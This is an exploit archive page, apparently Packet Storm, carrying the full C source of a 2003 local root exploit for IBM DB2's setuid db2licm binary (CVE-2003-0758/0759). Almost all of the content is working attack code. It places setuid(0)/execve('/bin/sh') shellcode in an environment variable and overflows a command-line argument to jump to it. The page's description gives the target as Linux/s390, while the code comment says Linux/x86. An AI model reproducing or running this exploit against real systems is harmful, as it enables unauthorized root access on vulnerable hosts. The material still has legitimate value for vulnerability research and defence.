what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

IBM-DB2-db2licm.c

IBM-DB2-db2licm.c
Posted Sep 26, 2003
Authored by Juan Manuel Pascual Escriba | Site concepcion.upv.es

Local root exploit for IBM DB2 Universal Database version 7.2 for Linux/s390 which makes use of the db2licm binary that is setuid by default.

tags | exploit, local, root
systems | linux
advisories | CVE-2003-0758, CVE-2003-0759
SHA-256 | ccb20c18f85e2c98e30d47ca465bac0c1611eb9129899f18dfd2745dcb29c56e

IBM-DB2-db2licm.c

Change Mirror Download

/*
Local Exploit for db2licm
IBM db2 v 7.1 Linux/x86

vulnerability researched by
Juan Manuel Pascual Escriba
04/08/2003 Barcelona - Spain
pask@uninet.edu

http://concepcion.upv.es/~pask


*/



char sc[]=
"\x31\xc0" /* begin setuid (0) */
"\x31\xdb"
"\xb0\x17"
"\xcd\x80"

"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";


#define STACK_TOP_X86 0xC0000000
#define ALG_MASK 0xfffffff4
#define ADDR 1000
#define DB2LICM "/home/db2inst1/sqllib/adm/db2licm"

#define DFL_ALG 4

int main(int arc, char **arv){
char *argv[3];
char *envp[2];
unsigned long sc_address, ba=0;
unsigned char alg = DFL_ALG;
unsigned long *p;
unsigned char *q;
unsigned int i;



sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - 1;
printf("shellcode address = 0x%X\n",sc_address);


if( (sc_address & ALG_MASK) != sc_address ) {
ba = sc_address - (sc_address & ALG_MASK);
printf("adding %d trailing bytes to backward align Shellcode to 0x%X\n", ba,
sc_address & ALG_MASK);
sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - ba - 1;
printf("new shellcode address = 0x%X\n",sc_address);
}

envp[0] = (char*)malloc(sizeof(sc)+strlen("pete=")+1+ba);
q = envp[0];
strcpy(q,"pete=");
q += strlen("pete=");
memcpy(q,sc,sizeof(sc));
q += sizeof(sc)-1;
memset(q,'A',ba);
q += ba;
*q = 0;
envp[1] = 0;

/* build overflowing arvg[2] */


printf("using alignment = %d in overflow buffer\n",alg);

argv[0] = DB2LICM;
argv[1] = "-a";
argv[2] = (char*)malloc(ADDR*sizeof(unsigned long)+alg+1);
memset(argv[2],'A',alg);
p=(unsigned long*)(argv[2]+alg);
for(i=0;i<ADDR;i++) {
*p = sc_address;
p++;
};
*p = 0;
argv[3] = 0;

printf("executing %s ...\n\n",argv[0]);
execve(argv[0],argv,envp);


}



Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close